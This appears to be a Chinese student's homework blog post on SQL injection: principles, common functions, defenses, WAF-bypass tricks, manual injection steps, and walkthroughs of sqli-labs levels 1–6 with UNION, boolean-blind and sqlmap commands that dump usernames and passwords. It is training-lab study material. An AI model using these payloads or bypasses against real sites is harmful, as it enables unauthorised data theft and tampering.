第五次作业

1.SQL 注入原理


SQL 注入是一种常见的 Web 安全漏洞,攻击者通过在应用程序的输入字段中插入恶意 SQL 语句,从而改变或操纵原本预期的 SQL 查询,以达到未经授权的数据访问或其他恶意目的。

原理概述:


注入点:应用程序中的输入字段(如表单、URL 参数等)。
攻击方法:利用 SQL 注释符(如 -- 或 /* ... */)、终止符(如 ;)或特殊字符(如 ' 或 ")来中断或改变 SQL 语句的结构。
攻击目标:绕过身份验证、获取敏感数据、修改数据等。


2.SQL 注入常用函数及含义

SQL 注入常用函数


SELECT:用于从数据库中选择数据。
示例:SELECT * FROM users WHERE username='admin' AND password='password';
UNION:用于合并两个或多个 SELECT 语句的结果集。
示例:SELECT username FROM users WHERE id=1 UNION SELECT password FROM users;
INSERT:用于向数据库表中插入新的记录。
示例:INSERT INTO users (username, password) VALUES ('admin', 'password');
UPDATE:用于更新数据库表中的现有记录。
示例:UPDATE users SET password='new_password' WHERE id=1;
DELETE:用于删除数据库表中的记录。
示例:DELETE FROM users WHERE id=1;
SLEEP:MySQL 函数,用于延迟执行时间。
示例:SELECT SLEEP(5); 会使查询暂停 5 秒。
BENCHMARK:MySQL 函数,用于执行大量迭代操作。
示例:SELECT BENCHMARK(10000000, AES_ENCRYPT('test', 'test'));
IF 和 CASE:用于条件判断。
示例:SELECT IF(1=1, SLEEP(5), 0);
ORDER BY:用于对查询结果进行排序。
示例:SELECT * FROM users ORDER BY id DESC;
LIMIT:用于限制返回的行数。
示例:SELECT * FROM users LIMIT 10;


SQL 注入防御手段


参数化查询:使用预编译语句或参数化查询,将用户输入作为参数传递给 SQL 语句,避免直接拼接。
示例(Python):
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
输入验证:对所有输入进行严格的验证,确保输入符合预期格式。
示例:使用正则表达式验证用户名和密码。
转义特殊字符:对用户输入中的特殊字符进行转义处理。
示例:使用 PHP 的 mysqli_real_escape_string 函数。
最小权限原则:应用程序使用的数据库账户应具有最小权限,仅能访问必要的数据表和执行必要的操作。
限制错误信息:不要在响应中泄露详细的错误信息,避免给攻击者提供线索。
使用安全库:使用经过验证的安全库或框架,它们通常已经实现了安全措施。


SQL 注入常用绕过 WAF 的方法

编码转换:使用 URL 编码或百分号编码(如 %27 代替 ')。
示例:%27 OR %271%27=1
空格替代:使用注释符或特殊字符替代空格。
示例:%20 替换为空格,%0A 替换为换行符。
SQL 注释:使用 SQL 注释符绕过检测。
示例:' OR '1'='1 --
分隔符绕过:使用多个分号或换行符分隔 SQL 语句。
示例:' OR '1'='1; SELECT * FROM users
大小写变换:利用大小写混合来绕过检测。
示例:SeLeCt * FrOm UsErS
使用合法函数:使用看似合法的函数,但实际上用于绕过检测。
示例:SLEEP(5) 用于延时攻击。
Unicode 编码:使用 Unicode 编码来绕过 WAF。
示例:' OR '1'='1 可以编码为 '\x27 OR \x271\x27=\x271'。

3.SQL的手工注入的步骤

1. 确认存在注入点

首先,你需要确认目标应用程序中是否存在 SQL 注入漏洞。这通常通过以下步骤完成:

  • 测试基本注入:尝试在输入字段中插入一些基本的 SQL 注入字符,如单引号(')或双引号(")。例如,在登录表单中输入 admin' 或 admin",观察应用程序的响应。
  • 分析响应:如果应用程序返回错误消息或行为异常(如报错页面),则可能存在 SQL 注入漏洞。

2. 确定数据库类型

不同的数据库管理系统(如 MySQL、PostgreSQL、Oracle 等)有不同的特性,因此确定目标数据库的类型非常重要。可以通过以下方法:

  • 注入测试语句:尝试注入一些特定于数据库的语句或函数,观察响应。
    • 例如,在 MySQL 中,可以尝试注入 AND 1=1 OR SLEEP(5),如果响应延迟 5 秒,则可能是 MySQL 数据库。
  • 使用版本信息:尝试获取数据库版本信息,例如注入 AND 1=1 OR '1'='1 UNION SELECT 1,@@version(MySQL)。

3. 枚举数据库架构

一旦确认存在注入点并确定了数据库类型,下一步是枚举数据库架构,了解数据库的结构:

  • 获取数据库名称:尝试注入 UNION SELECT 1,database()(MySQL)来获取当前数据库名称。
  • 获取表名:注入 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=database()(MySQL)来获取所有表名。
  • 获取列名:注入 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='your_table'(MySQL)来获取特定表的所有列名。

4. 获取数据

一旦了解了数据库结构,就可以开始提取具体的数据:

  • 枚举数据:注入 UNION SELECT column_name FROM your_table(MySQL)来获取特定表中的数据。
  • 枚举用户数据:如果目标是获取用户数据,可以注入 UNION SELECT username,password FROM users(MySQL)。

5. 利用漏洞

获取数据后,可以进一步利用这些信息进行其他攻击,例如:

  • 绕过身份验证:尝试注入 OR '1'='1 来绕过登录验证。
  • 修改数据:注入 UPDATE table_name SET column_name='new_value' WHERE condition(MySQL)来修改数据。
  • 删除数据:注入 DELETE FROM table_name WHERE condition(MySQL)来删除数据。

6. 验证和利用

最后,验证注入结果是否正确,并利用这些信息进行进一步的攻击或数据泄露。

示例注入步骤

假设目标 URL 是 http://example.com/login.php?username=admin&password=admin,下面是一个简单的手工注入步骤:

  1. 测试基本注入

    • 尝试 http://example.com/login.php?username=admin'&password=admin,如果返回错误信息,则可能存在注入点。
  2. 确定数据库类型

    • 尝试 http://example.com/login.php?username=admin' OR SLEEP(5)--&password=admin,如果响应延迟 5 秒,则可能是 MySQL 数据库。
  3. 获取数据库名称

    • 尝试 http://example.com/login.php?username=admin' UNION SELECT 1,database() --&password=admin
  4. 获取表名

    • 尝试 http://example.com/login.php?username=admin' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=database() --&password=admin
  5. 获取列名

    • 尝试 http://example.com/login.php?username=admin' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' --&password=admin
  6. 获取数据

    • 尝试 http://example.com/login.php?username=admin' UNION SELECT username,password FROM users --&password=admin

4.sqli-labs(1-5)

第一关

提示我们需要给他输入一个ID的传参我们输入?id=1,?id=2,页面改变,通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

判断注入点输入?id=1 and 1=1和?id=1 and 1=2,发现没有变化

查找他当前的字段数?id=1 'order by 1-- s 依次输入到order by 4出现错误,说明前面有3个字段。

判断表名?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' -- s

查询emails数据?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 -- s

判断列名:?id=-1' union select 1,column_name,3 from information_schema.columns where table_schema='security'%20 -- s

获取当前数据名和版本号

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

得到username和password对应内容

?id=-1' union select 1,2,group_concat(username,password) from users--+

用ID隔开

?id=-1' union select 1,2,group_concat(username,id,password) from users--+

第二关

输入?id=2',判断注入,为数字型注入

与第一关相同


?id=1 order by 3
?id=-1 union select 1,2,3


?id=-1 union select 1,database(),version()


?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

第三关

入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以需要闭合单引号且也要考虑括号。


字段数

?id=1') order by 3--+


?id=-1') union select 1,2,3--+

查询数据库中列表

?id=-1') union select 1,database(),version()--+

用于从数据库中提取 information_schema.tables 表中的 table_name 字段。

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

从数据库中提取 information_schema.columns 表中的 column_name 字段,特别是针对 users 表的列名。

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+


?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

从数据库中提取 users 表中的 usernameidpassword 字段,并将这些字段连接成一个字符串。

第四关

根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入,注入步骤同上。

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

第五关

?id=1'and length((select database()))>9--+


?id=1'and ascii(substr((select database()),1,1))=115--+
截取的字符串,(截取的位置,截取的长度)。布尔盲注都是长度为1因为要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码,这样可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度


?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
 爆数据值:            
?id=1' union select updatexml(1,concat(0x7e, right((select(group_concat(flag33)) from ctfshow.flagpuck) ,25),0x7e),3)--+               

5.使用sqlmap通过或验证第六关

1.尝试进行注入

python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1" 

 

2.获取数据库名称

python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1" –dbms mysql –level 3 –dbs  

 

3.尝试获取”security“数据库中表的名称

python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1" –dbms mysql –level 3 –D security –tables  

4.尝试获取users表中的字段

python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1" –dbms mysql –level 3 –D security –T users –columns

5.获取字段中的数据 ,成功注入

python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1" –dbms mysql –level 3 –D security –T users –C "username , password" -dump

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值